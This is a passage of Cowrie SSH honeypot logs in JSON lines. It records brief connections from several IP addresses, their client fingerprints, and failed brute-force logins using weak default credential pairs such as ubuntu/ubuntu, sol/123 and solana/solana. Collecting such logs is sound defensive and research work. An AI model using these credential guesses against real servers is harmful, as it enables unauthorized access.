tr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:00.539068Z","src_ip":"157.15.59.121","session":"5d400cba0bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bet","password":"betpassword","message":"login attempt [bet/betpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:01.503008Z","src_ip":"157.15.59.121","session":"5d400cba0bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59322,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc70dba997b6","protocol":"ssh","message":"New connection: 195.178.110.218:59322 (159.203.135.109:22) [session: bc70dba997b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:01.782166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:01.786820Z","src_ip":"195.178.110.218","session":"bc70dba997b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:01.866794Z","src_ip":"195.178.110.218","session":"bc70dba997b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:02.109766Z","src_ip":"195.178.110.218","session":"bc70dba997b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:02.738476Z","src_ip":"157.15.59.121","session":"5d400cba0bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:03.192364Z","src_ip":"195.178.110.218","session":"bc70dba997b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43174,"dst_ip":"10.17.0.5","dst_port":22,"session":"67b3fcaf8a1c","protocol":"ssh","message":"New connection: 195.178.110.218:43174 (10.17.0.5:22) [session: 67b3fcaf8a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:21.070362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:21.075471Z","src_ip":"195.178.110.218","session":"67b3fcaf8a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:21.156099Z","src_ip":"195.178.110.218","session":"67b3fcaf8a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:21.394017Z","src_ip":"195.178.110.218","session":"67b3fcaf8a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:22.501479Z","src_ip":"195.178.110.218","session":"67b3fcaf8a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":32882,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6bd249c777f","protocol":"ssh","message":"New connection: 92.118.39.76:32882 (10.17.0.5:22) [session: f6bd249c777f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:51.566356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:51.624740Z","src_ip":"92.118.39.76","session":"f6bd249c777f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:51.704101Z","src_ip":"92.118.39.76","session":"f6bd249c777f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:52.084839Z","src_ip":"92.118.39.76","session":"f6bd249c777f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:11:53.190494Z","src_ip":"92.118.39.76","session":"f6bd249c777f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.167.36","src_port":57860,"dst_ip":"159.203.135.109","dst_port":22,"session":"223c5fa42ca7","protocol":"ssh","message":"New connection: 167.172.167.36:57860 (159.203.135.109:22) [session: 223c5fa42ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:12:29.240644Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:12:29.328901Z","src_ip":"167.172.167.36","session":"223c5fa42ca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":60134,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd6080e0f63b","protocol":"ssh","message":"New connection: 2.57.122.96:60134 (159.203.135.109:22) [session: bd6080e0f63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:12:57.243350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:12:57.257668Z","src_ip":"2.57.122.96","session":"bd6080e0f63b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:12:57.352116Z","src_ip":"2.57.122.96","session":"bd6080e0f63b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:12:57.747958Z","src_ip":"2.57.122.96","session":"bd6080e0f63b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:12:58.872397Z","src_ip":"2.57.122.96","session":"bd6080e0f63b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.59.101","src_port":40758,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b7211d21a1c","protocol":"ssh","message":"New connection: 157.15.59.101:40758 (10.17.0.5:22) [session: 9b7211d21a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:16.966961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:16.971339Z","src_ip":"157.15.59.101","session":"9b7211d21a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:17.198062Z","src_ip":"157.15.59.101","session":"9b7211d21a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"123456","message":"login attempt [solr/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:18.138511Z","src_ip":"157.15.59.101","session":"9b7211d21a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:19.368704Z","src_ip":"157.15.59.101","session":"9b7211d21a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43244,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fa4fc57089f","protocol":"ssh","message":"New connection: 195.178.110.218:43244 (159.203.135.109:22) [session: 8fa4fc57089f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:42.814980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:42.819424Z","src_ip":"195.178.110.218","session":"8fa4fc57089f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:42.894361Z","src_ip":"195.178.110.218","session":"8fa4fc57089f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:43.121328Z","src_ip":"195.178.110.218","session":"8fa4fc57089f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:44.197502Z","src_ip":"195.178.110.218","session":"8fa4fc57089f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":47054,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f45b1977b18","protocol":"ssh","message":"New connection: 92.118.39.76:47054 (10.17.0.5:22) [session: 4f45b1977b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:56.779152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:56.783328Z","src_ip":"92.118.39.76","session":"4f45b1977b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:56.887184Z","src_ip":"92.118.39.76","session":"4f45b1977b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:57.199626Z","src_ip":"92.118.39.76","session":"4f45b1977b18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:58.308196Z","src_ip":"92.118.39.76","session":"4f45b1977b18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35370,"dst_ip":"10.17.0.5","dst_port":22,"session":"f30468a3fdf9","protocol":"ssh","message":"New connection: 195.178.110.218:35370 (10.17.0.5:22) [session: f30468a3fdf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:59.114156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:59.118569Z","src_ip":"195.178.110.218","session":"f30468a3fdf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:59.199367Z","src_ip":"195.178.110.218","session":"f30468a3fdf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:13:59.437723Z","src_ip":"195.178.110.218","session":"f30468a3fdf9","protocol":"ssh"}
